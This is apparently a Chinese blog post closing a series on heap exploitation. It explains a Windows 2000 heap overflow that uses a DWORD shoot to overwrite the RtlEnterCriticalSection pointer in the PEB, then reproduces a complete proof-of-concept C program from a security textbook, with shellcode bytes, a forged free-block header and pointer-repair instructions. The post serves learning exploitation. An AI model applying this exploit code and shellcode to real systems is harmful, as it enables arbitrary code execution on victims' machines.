这个算是堆的最后一个博客总结了
这个其实算是最简单的，，，
如果前面理解的通透的话 ，，
总结这个漏洞就是 最直观的一个漏洞， 就是可以把 内存 溢出到Freelist[0] 里面
然后我们可以任意执行的指针 代码
然后可以直接shellcode
shellcode 下面的 吾爱破解的帖子讲的很清楚 这里我就复制他的一句话
讲一下为什么这样写：ExitProcess()在结束进程时会调用临界区函数RtlEnterCriticalSection()来同步线程，而且这个函数指针在PEB中偏移0x20的位置0x7ffdf020，是的，固定的，但是该函数指针的值在不同的操作系统上不一样，需要先记住，一定要记住，直接Ctrl+G到0x7ffdf020就可以看到这个函数的指针了，那么DWORDSHOOT的目标就有了，咱们把shellcode里尾块的块首先按照自己的堆块信息修改好，不同的操作系统堆区起始位置可能不太一样，需要在shellcode里修改，溢出后，当h2分配的时候，伪造的指针就会进行DWORDSHOOT，将shellcode的起始位置写入临界区函数RtlEnterCriticalSection()的地址，这时候堆溢出就会导致异常，异常了就会调用ExitProcess()函数结束线程，是的，没有错，会取出临界区函数RtlEnterCriticalSection()的指针，这个指针的值已经被我们shellcode的起始位置覆盖了，所以就回去执行shellcode，然而！！！！！！
刚刚我说：记住临界区函数RtlEnterCriticalSection()的指针的值，为什么？因为shellcode也会调用临界区函数RtlEnterCriticalSection()，但是这时候取出的值又是shellcode的值，这咋整？所以刚刚记住的真实地址就有用了，咱们的shellcode前面不是一堆0x90嘛，在那里修复一下临界区函数RtlEnterCriticalSection()函数指针的值，然后继续执行shellcode
然后把fd bk 修改一下 然后就可以了 DWORDSHOOT 就是 利用了
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这里 node->blink->flink =7ffdf020 node->flink ->shellcode
所以可以直接exitprocess 可以直接调用 shllcode
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 6.4 in book "Vulnerability Exploit and Analysis Technique"
file name : heap_PEB.c
author : failwest
date : 2007.04.04
description : demo show of heap overrun, shellcode was executed
function pointer of RtlEnterCriticalSection was changed in PEB
via DWORD shooting
Some address may need to reset via run time debugging
Noticed : 1 only run on windows 2000
2 complied with VC 6.0
3 build into release version
4 used for run time debugging
version : 1.0
E-mail : [email protected]
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <windows.h>
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
*/
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
利用成功~
参考资料
